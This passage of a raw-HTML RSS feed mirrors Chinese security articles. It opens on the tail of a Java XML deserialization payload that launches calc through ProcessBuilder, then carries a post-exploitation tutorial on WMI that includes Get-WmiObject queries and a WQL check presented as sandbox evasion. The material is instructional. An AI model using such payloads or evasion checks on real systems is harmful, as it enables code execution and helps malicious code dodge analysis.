style="box-sizing: border-box;color: rgb(17, 119, 0);">string</span><span style="box-sizing: border-box;color: rgb(17, 119, 0);">&gt;</span>calc<span style="box-sizing: border-box;color: rgb(17, 119, 0);">&lt;/</span><span style="box-sizing: border-box;color: rgb(17, 119, 0);">string</span><span style="box-sizing: border-box;color: rgb(17, 119, 0);">&gt;&lt;/</span><span style="box-sizing: border-box;color: rgb(17, 119, 0);">void</span><span style="box-sizing: border-box;color: rgb(17, 119, 0);">&gt;</span></span><br/><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;">  <span style="box-sizing: border-box;color: rgb(17, 119, 0);">&lt;/</span><span style="box-sizing: border-box;color: rgb(17, 119, 0);">array</span><span style="box-sizing: border-box;color: rgb(17, 119, 0);">&gt;</span></span><br/><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;">  <span style="box-sizing: border-box;color: rgb(17, 119, 0);">&lt;</span><span style="box-sizing: border-box;color: rgb(17, 119, 0);">void</span> <span style="box-sizing: border-box;color: rgb(0, 0, 204);">method</span>=<span style="box-sizing: border-box;color: rgb(170, 17, 17);">&#34;start&#34;</span><span style="box-sizing: border-box;color: rgb(17, 119, 0);">&gt;&lt;/</span><span style="box-sizing: border-box;color: rgb(17, 119, 0);">void</span><span style="box-sizing: border-box;color: rgb(17, 119, 0);">&gt;</span></span><br/><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;"> <span style="box-sizing: border-box;color: rgb(17, 119, 0);">&lt;/</span><span style="box-sizing: border-box;color: rgb(17, 119, 0);">object</span><span style="box-sizing: border-box;color: rgb(17, 119, 0);">&gt;</span></span><br/><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;"><span style="box-sizing: border-box;color: rgb(17, 119, 0);">&lt;/</span><span style="box-sizing: border-box;color: rgb(17, 119, 0);">java</span><span style="box-sizing: border-box;color: rgb(17, 119, 0);">&gt;</span></span></pre>



<p><a href="2247483959">阅读原文</a></p>
<p><a href="https://wechat2rss.xlab.app/link-proxy/?k=662c5cc2&amp;r=1&amp;u=https%3A%2F%2Fmp.weixin.qq.com%2Fs%3F__biz%3DMzg4OTM2ODgyMw%3D%3D%26mid%3D2247483959%26idx%3D1%26sn%3Ddbe30e2b343e7135cc71789e8ddd4c2b%26subscene%3D0">跳转微信打开</a></p>
]]></content:encoded>
      <pubDate>Thu, 29 Jul 2021 11:05:00 +0800</pubDate>
    </item>
    <item>
      <title>关于后渗透中的WMI</title>
      <link>https://mp.weixin.qq.com/s?__biz=Mzg4OTM2ODgyMw==&amp;mid=2247483914&amp;idx=1&amp;sn=79c0a98a32c1f878e93fb95fa29cea24</link>
      <description>关于后渗透中的WMI</description>
      <content:encoded><![CDATA[<p>
原创 <span>Tubai</span> <span>2021-07-28 20:25</span> <span style="display: inline-block;"></span>
</p>

<p>关于后渗透中的WMI</p>
<p></p>



<p>
<img src="https://wechat2rss.xlab.app/img-proxy/?k=7ad9e3b5&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2FQgqjbLiaSQxzraicTIdklNRnZgpuOCYYKFB9DymYS8vZrPchEcs3XxVGuiatAhfGgnp4OG9x7t4ol9HhbRNbZxO8Q%2F0%3Fwx_fmt%3Djpeg"/>
</p>


<h2 style="box-sizing: border-box;break-after: avoid-page;break-inside: avoid;orphans: 4;font-size: 1.75em;margin-top: 1rem;margin-bottom: 1rem;font-weight: bold;line-height: 1.225;cursor: text;border-bottom-width: 1px;border-bottom-style: solid;border-bottom-color: rgb(238, 238, 238);white-space: pre-wrap;caret-color: rgb(51, 51, 51);color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-style: normal;font-variant-caps: normal;letter-spacing: normal;text-align: start;text-indent: 0px;text-transform: none;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration: none;"><span style="box-sizing: border-box;">前言</span></h2><p style="box-sizing: border-box;line-height: inherit;orphans: 4;margin: 0.8em 0px;white-space: pre-wrap;caret-color: rgb(51, 51, 51);color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: normal;letter-spacing: normal;text-align: start;text-indent: 0px;text-transform: none;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration: none;"><span style="box-sizing: border-box;">WMI是Windows操作系统上WBEM和CIM标准的实现，允许用户、管理员和开发人员（包括攻击者）在操作系统中对各种托管组件进行遍历、操作和交互。具体而言，WMI提供了一个抽象的、统一的面向对象模型，从而不再需要直接与许多不相关的API进行交互  WMI的一个重要特性是能够使用DCOM或WinRM协议与远程机器的WMI模块进行交互，它允许管理员轻松的获取 Windows 系统的配置信息。</span></p><p style="box-sizing: border-box;line-height: inherit;orphans: 4;margin: 0.8em 0px;white-space: pre-wrap;caret-color: rgb(51, 51, 51);color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: normal;letter-spacing: normal;text-align: start;text-indent: 0px;text-transform: none;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration: none;"><span style="box-sizing: border-box;">简而言之，它是 Windows 中的一个核心管理技术，提供了一个抽象的、统一的面向对象模型。</span></p><p style="box-sizing: border-box;line-height: inherit;orphans: 4;margin: 0.8em 0px;white-space: pre-wrap;caret-color: rgb(51, 51, 51);color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: normal;letter-spacing: normal;text-align: start;text-indent: 0px;text-transform: none;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration: none;"><span style="box-sizing: border-box;">ATTACK矩阵中也早有对此类攻击的介绍：</span></p><p style="box-sizing: border-box;line-height: inherit;orphans: 4;margin: 0.8em 0px;white-space: pre-wrap;caret-color: rgb(51, 51, 51);color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: normal;letter-spacing: normal;text-align: start;text-indent: 0px;text-transform: none;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration: none;"><span data-src="image-20210727211027658.png" style="box-sizing: border-box;min-width: 10px;min-height: 10px;word-break: break-all;font-family: monospace;vertical-align: top;display: inline-block;width: 599px;"><img data-ratio="0.42626559060895086" data-w="1363" data-type="png" src="https://wechat2rss.xlab.app/img-proxy/?k=94d75716&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FQgqjbLiaSQxzraicTIdklNRnZgpuOCYYKFjt0Tiak4oqmZ8qsOxInevcnynSy8ibDwQiazrice0TQ1xy7BXpopBCFfug%2F640%3Fwx_fmt%3Dpng"/></span></p><h2 style="box-sizing: border-box;break-after: avoid-page;break-inside: avoid;orphans: 4;font-size: 1.75em;margin-top: 1rem;margin-bottom: 1rem;font-weight: bold;line-height: 1.225;cursor: text;border-bottom-width: 1px;border-bottom-style: solid;border-bottom-color: rgb(238, 238, 238);white-space: pre-wrap;caret-color: rgb(51, 51, 51);color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-style: normal;font-variant-caps: normal;letter-spacing: normal;text-align: start;text-indent: 0px;text-transform: none;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration: none;"><span style="box-sizing: border-box;">WMI信息收集</span></h2><p style="box-sizing: border-box;line-height: inherit;orphans: 4;margin: 0.8em 0px;white-space: pre-wrap;caret-color: rgb(51, 51, 51);color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: normal;letter-spacing: normal;text-align: start;text-indent: 0px;text-transform: none;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration: none;"><span style="box-sizing: border-box;">我们是可以通过powershell来调用WMI的</span></p><p style="box-sizing: border-box;line-height: inherit;orphans: 4;margin: 0.8em 0px;white-space: pre-wrap;caret-color: rgb(51, 51, 51);color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: normal;letter-spacing: normal;text-align: start;text-indent: 0px;text-transform: none;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration: none;"><span style="box-sizing: border-box;">PowerShell有个Cmdlet调用WMI，可以结合&#34;</span><span spellcheck="false" style="box-sizing: border-box;"><code style="box-sizing: border-box;font-family: var(--monospace);text-align: left;border-color: rgb(231, 234, 237);border-style: solid;border-width: 1px;background-color: rgb(243, 244, 244);border-radius: 3px;padding: 0px 2px;font-size: 0.9em;">-class &lt;WMI-Class&gt;</code></span><span style="box-sizing: border-box;">&#34;以及一些其他参数进行使用</span></p><p style="box-sizing: border-box;line-height: inherit;orphans: 4;margin: 0.8em 0px;white-space: pre-wrap;caret-color: rgb(51, 51, 51);color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: normal;letter-spacing: normal;text-align: start;text-indent: 0px;text-transform: none;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration: none;"><span style="box-sizing: border-box;">简单用法：</span></p><p style="box-sizing: border-box;line-height: inherit;orphans: 4;margin: 0.8em 0px;white-space: pre-wrap;caret-color: rgb(51, 51, 51);color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: normal;letter-spacing: normal;text-align: start;text-indent: 0px;text-transform: none;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration: none;"><span style="box-sizing: border-box;">使用</span><span spellcheck="false" style="box-sizing: border-box;"><code style="box-sizing: border-box;font-family: var(--monospace);text-align: left;border-color: rgb(231, 234, 237);border-style: solid;border-width: 1px;background-color: rgb(243, 244, 244);border-radius: 3px;padding: 0px 2px;font-size: 0.9em;">Get-WmiObject -List</code></span><span style="box-sizing: border-box;"> 可以列出所有的 WMI对象的类</span></p><p style="box-sizing: border-box;line-height: inherit;orphans: 4;margin: 0.8em 0px;white-space: pre-wrap;caret-color: rgb(51, 51, 51);color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: normal;letter-spacing: normal;text-align: start;text-indent: 0px;text-transform: none;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration: none;"><img data-ratio="0.30833333333333335" data-w="960" data-type="png" src="https://wechat2rss.xlab.app/img-proxy/?k=00de6d6b&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FQgqjbLiaSQxzraicTIdklNRnZgpuOCYYKFbL0d8bVp9ibITSnAbb1zPX6UDCEWKgJtpR2ibIdokI13ofAk3pIuou4Q%2F640%3Fwx_fmt%3Dpng"/></p><p style="box-sizing: border-box;line-height: inherit;orphans: 4;margin: 0.8em 0px;white-space: pre-wrap;caret-color: rgb(51, 51, 51);color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: normal;letter-spacing: normal;text-align: start;text-indent: 0px;text-transform: none;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration: none;"><span style="box-sizing: border-box;">那么可以遵循powershell中Cmdlet动词加名词特性，获取一些我们想要的信息。</span></p><p style="box-sizing: border-box;line-height: inherit;orphans: 4;margin: 0.8em 0px;white-space: pre-wrap;caret-color: rgb(51, 51, 51);color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: normal;letter-spacing: normal;text-align: start;text-indent: 0px;text-transform: none;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration: none;"><span style="box-sizing: border-box;">例如查询一下主机的CPU信息：</span></p><pre spellcheck="false" style="box-sizing: border-box;overflow: visible;font-family: var(--monospace);font-size: 0.9em;display: block;break-inside: avoid;text-align: left;white-space: normal;background-image: inherit;background-size: inherit;background-attachment: inherit;background-origin: inherit;background-clip: inherit;background-color: rgb(248, 248, 248);border-color: rgb(231, 234, 237);border-style: solid;border-width: 1px;border-radius: 3px;padding: 8px 4px 6px;margin-bottom: 15px;margin-top: 15px;width: inherit;caret-color: rgb(51, 51, 51);color: rgb(51, 51, 51);font-style: normal;font-variant-caps: normal;font-weight: normal;letter-spacing: normal;text-indent: 0px;text-transform: none;word-spacing: 0px;-moz-text-size-adjust: auto;-webkit-text-stroke-width: 0px;text-decoration: none;background-position: inherit;background-repeat: inherit;" lang=""><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;">Get-WmiObject win32_processor</span></pre><p style="text-align: center;"><img class="rich_pages wxw-img" data-galleryid="" data-ratio="0.35390199637023595" data-s="300,640" style="" data-type="png" data-w="551" src="https://wechat2rss.xlab.app/img-proxy/?k=1f23e1ec&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FQgqjbLiaSQxzraicTIdklNRnZgpuOCYYKF0eI5QBEWoLn1lXYnq5Y2ELA7UiaWPxWUeEX4gEzo0jxkr8VBpUHyFoA%2F640%3Fwx_fmt%3Dpng"/></p><p style="box-sizing: border-box;line-height: inherit;orphans: 4;margin: 0.8em 0px;white-space: pre-wrap;caret-color: rgb(51, 51, 51);color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: normal;letter-spacing: normal;text-align: start;text-indent: 0px;text-transform: none;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration: none;"><span style="box-sizing: border-box;">还可以进行简单的沙箱规避：</span></p><pre spellcheck="false" style="box-sizing: border-box;overflow: visible;font-family: var(--monospace);font-size: 0.9em;display: block;break-inside: avoid;text-align: left;white-space: normal;background-image: inherit;background-size: inherit;background-attachment: inherit;background-origin: inherit;background-clip: inherit;background-color: rgb(248, 248, 248);border-color: rgb(231, 234, 237);border-style: solid;border-width: 1px;border-radius: 3px;padding: 8px 4px 6px;margin-bottom: 15px;margin-top: 15px;width: inherit;caret-color: rgb(51, 51, 51);color: rgb(51, 51, 51);font-style: normal;font-variant-caps: normal;font-weight: normal;letter-spacing: normal;text-indent: 0px;text-transform: none;word-spacing: 0px;-moz-text-size-adjust: auto;-webkit-text-stroke-width: 0px;text-decoration: none;background-position: inherit;background-repeat: inherit;" lang=""><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;">PS C:\Windows\system32&gt; $a=&#34;SELECT * from win32_computersystem&#34;</span></pre><p style="box-sizing: border-box;line-height: inherit;orphans: 4;margin: 0.8em 0px;white-space: pre-wrap;caret-color: rgb(51, 51, 51);color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: normal;letter-spacing: normal;text-align: start;text-indent: 0px;text-transform: none;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration: none;"><span style="box-sizing: border-box;">注意：这里的SELECT * from不是我们熟知的sql语句，他是WQL，是WMI中的查询语言，WQL的全称是WMI Query Language，简称为WQL，翻译成中文为Windows管理规范查询语言，他没有INSERT和UPDATE,它只有SELECT.</span></p><pre spellcheck="false" style="box-sizing: border-box;overflow: visible;font-family: var(--monospace);font-size: 0.9em;display: block;break-inside: avoid;text-align: left;white-space: normal;background-image: inherit;background-size: inherit;background-attachment: inherit;background-origin: inherit;background-clip: inherit;background-color: rgb(248, 248, 248);border-color: rgb(231, 234, 237);border-style: solid;border-width: 1px;border-radius: 3px;padding: 8px 4px 6px;margin-bottom: 15px;margin-top: 15px;width: inherit;caret-color: rgb(51, 51, 51);color: rgb(51, 51, 51);font-style: normal;font-variant-caps: normal;font-weight: normal;letter-spacing: normal;text-indent: 0px;text-transform: none;word-spacing: 0px;-moz-text-size-adjust: auto;-webkit-text-stroke-width: 0px;text-decoration: none;background-position: inherit;background-repeat: inherit;" lang=""><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;">PS C:\Windows\system32&gt; Get-WmiObject -query $a</span></pre><p style="box-sizing: border-box;line-height: inherit;orphans: 4;margin: 0.8em 0px;white-space: pre-wrap;caret-color: rgb(51, 51, 51);color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: normal;letter-spacing: normal;text-align: start;text-indent: 0px;text-transform: none;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration: none;"><span style="box-sizing: border-box;">如此利用wmi测试出这台机器是VM虚拟机。</span></p><p style="text-align: center;"><img class="rich_pages wxw-img" data-galleryid="" data-ratio="0.4696296296296296" data-s="300,640" style="" data-type="png" data-w="675" src="https://wechat2rss.xlab.app/img-proxy/?k=01c04b9e&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FQgqjbLiaSQxzraicTIdklNRnZgpuOCYYKFibGEWHZYwicdicNZuAlIn1AeC5jBT5BoQZYR3Pxhu1tKwuj5ZnHfGKChw%2F640%3Fwx_fmt%3Dpng"/></p><p style="box-sizing: border-box;line-height: inherit;orphans: 4;margin: 0.8em 0px;white-space: pre-wrap;caret-color: rgb(51, 51, 51);color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: normal;letter-spacing: normal;text-align: start;text-indent: 0px;text-transform: none;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration: none;"><span style="box-sizing: border-box;">为什么wmi会为我们提供统一的接口让我们去获取这些信息？</span><br/></p><p style="box-sizing: border-box;line-height: inherit;orphans: 4;margin: 0.8em 0px;white-space: pre-wrap;caret-color: rgb(51, 51, 51);color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: normal;letter-spacing: normal;text-align: start;text-indent: 0px;text-transform: none;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration: none;"><span style="box-sizing: border-box;">因为微软为wmi提供了一个类库，所以我们这些软件厂商，硬件厂商会把自己的相应软硬件信息准备成相应的类，然后把类放入库当中。</span></p><p style="box-sizing: border-box;line-height: inherit;orphans: 4;margin: 0.8em 0px;white-space: pre-wrap;caret-color: rgb(51, 51, 51);color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: normal;letter-spacing: normal;text-align: start;text-indent: 0px;text-transform: none;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration: none;"><span style="box-sizing: border-box;">对于类来说，依据不同的软件或硬件，它有一个叫做命令空间的东西，通过命令空间的方式去组织类，比如命令空间会有一种层级的结构，下面我们进入wmimgmt.msc直观的去理解一下。</span></p><p style="box-sizing: border-box;line-height: inherit;orphans: 4;margin: 0.8em 0px;white-space: pre-wrap;caret-color: rgb(51, 51, 51);color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: normal;letter-spacing: normal;text-align: start;text-indent: 0px;text-transform: none;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration: none;"><span style="box-sizing: border-box;">控制台打开wmimgmt.msc</span></p><p style="box-sizing: border-box;line-height: inherit;orphans: 4;margin: 0.8em 0px;white-space: pre-wrap;caret-color: rgb(51, 51, 51);color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: normal;letter-spacing: normal;text-align: start;text-indent: 0px;text-transform: none;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration: none;"><span style="box-sizing: border-box;">查看一下wmi类库</span></p><p style="text-align: center;"><img class="rich_pages wxw-img" data-galleryid="" data-ratio="0.6439232409381663" data-s="300,640" style="" data-type="png" data-w="938" src="https://wechat2rss.xlab.app/img-proxy/?k=1c32c5a2&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FQgqjbLiaSQxzraicTIdklNRnZgpuOCYYKFq3IGrHSCX5xf5fiawGjr1uJRkIicf3wBen3pxRCJH264PXeFianhBHCXg%2F640%3Fwx_fmt%3Dpng"/></p><p style="box-sizing: border-box;line-height: inherit;orphans: 4;margin: 0.8em 0px;white-space: pre-wrap;caret-color: rgb(51, 51, 51);color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: normal;letter-spacing: normal;text-align: start;text-indent: 0px;text-transform: none;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration: none;"><span style="box-sizing: border-box;">添加本地计算机即可</span><br/></p><p style="text-align: center;"><img class="rich_pages wxw-img" data-galleryid="" data-ratio="0.5961945031712473" data-s="300,640" style="" data-type="png" data-w="946" src="https://wechat2rss.xlab.app/img-proxy/?k=c2ed8120&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FQgqjbLiaSQxzraicTIdklNRnZgpuOCYYKFlhWATOOVtupAtawEvScAk3OUjeYKXNB33jKdn8wyBMQSvY4Mcgmq8w%2F640%3Fwx_fmt%3Dpng"/></p><p style="box-sizing: border-box;line-height: inherit;orphans: 4;margin: 0.8em 0px;white-space: pre-wrap;caret-color: rgb(51, 51, 51);color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: normal;letter-spacing: normal;text-align: start;text-indent: 0px;text-transform: none;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration: none;"><span style="box-sizing: border-box;">连接右击属性可以发现给我们展现了当前计算机的相应信息</span><br/></p><p style="text-align: center;"><img class="rich_pages wxw-img" data-galleryid="" data-ratio="0.6496062992125984" data-s="300,640" style="" data-type="png" data-w="762" src="https://wechat2rss.xlab.app/img-proxy/?k=53540019&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FQgqjbLiaSQxzraicTIdklNRnZgpuOCYYKFbyHSYH5HXfhkUVTONaZCJ8Se6OBUZzXJzFtm6dib8iczQUCCoocQ4NBA%2F640%3Fwx_fmt%3Dpng"/></p><p style="box-sizing: border-box;line-height: inherit;orphans: 4;margin: 0.8em 0px;white-space: pre-wrap;caret-color: rgb(51, 51, 51);color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: normal;letter-spacing: normal;text-align: start;text-indent: 0px;text-transform: none;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration: none;"><span style="box-sizing: border-box;">我们直接进wmi目录</span><br/></p><pre spellcheck="false" style="box-sizing: border-box;overflow: visible;font-family: var(--monospace);font-size: 0.9em;display: block;break-inside: avoid;text-align: left;white-space: normal;background-image: inherit;background-size: inherit;background-attachment: inherit;background-origin: inherit;background-clip: inherit;background-color: rgb(248, 248, 248);border-color: rgb(231, 234, 237);border-style: solid;border-width: 1px;border-radius: 3px;padding: 8px 4px 6px;margin-bottom: 15px;margin-top: 15px;width: inherit;caret-color: rgb(51, 51, 51);color: rgb(51, 51, 51);font-style: normal;font-variant-caps: normal;font-weight: normal;letter-spacing: normal;text-indent: 0px;text-transform: none;word-spacing: 0px;-moz-text-size-adjust: auto;-webkit-text-stroke-width: 0px;text-decoration: none;background-position: inherit;background-repeat: inherit;" lang=""><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;">C:\Windows\System32\wbem</span></pre><p style="text-align: center;"><img class="rich_pages wxw-img" data-galleryid="" data-ratio="0.5941011235955056" data-s="300,640" style="" data-type="png" data-w="712" src="https://wechat2rss.xlab.app/img-proxy/?k=360c4725&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FQgqjbLiaSQxzraicTIdklNRnZgpuOCYYKFDKDotdUlFXXoI9bz9nq83PMQiaSpe9wx8UAUrbf47fFOHwfwVyWgjwA%2F640%3Fwx_fmt%3Dpng"/></p><p style="box-sizing: border-box;line-height: inherit;orphans: 4;margin: 0.8em 0px;white-space: pre-wrap;caret-color: rgb(51, 51, 51);color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: normal;letter-spacing: normal;text-align: start;text-indent: 0px;text-transform: none;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration: none;"><span style="box-sizing: border-box;">我们可以看到很多mof文件，实际上这就是我们不同的产品组，它去开发自己类库的时候，最终封装成的mof文件。</span><br/></p><p style="box-sizing: border-box;line-height: inherit;orphans: 4;margin: 0.8em 0px;white-space: pre-wrap;caret-color: rgb(51, 51, 51);color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: normal;letter-spacing: normal;text-align: start;text-indent: 0px;text-transform: none;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration: none;"><span style="box-sizing: border-box;">我们现在回到控件，如此一目了然，他就是这种层级的类库形式，红色箭头是这些各种各样的命令空间，绿色箭头是在我们命名空间中相应的类。</span></p><p style="text-align: center;"><img class="rich_pages wxw-img" data-galleryid="" data-ratio="1.3436807095343681" data-s="300,640" style="" data-type="png" data-w="451" src="https://wechat2rss.xlab.app/img-proxy/?k=d93f53a9&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FQgqjbLiaSQxzraicTIdklNRnZgpuOCYYKFzfzzGrQ3jmVbDD1Xrpbj2LwGzLzKK4AtREHVX1WF3Udniaz8zNZ9b2g%2F640%3Fwx_fmt%3Dpng"/></p><h2 style="box-sizing: border-box;break-after: 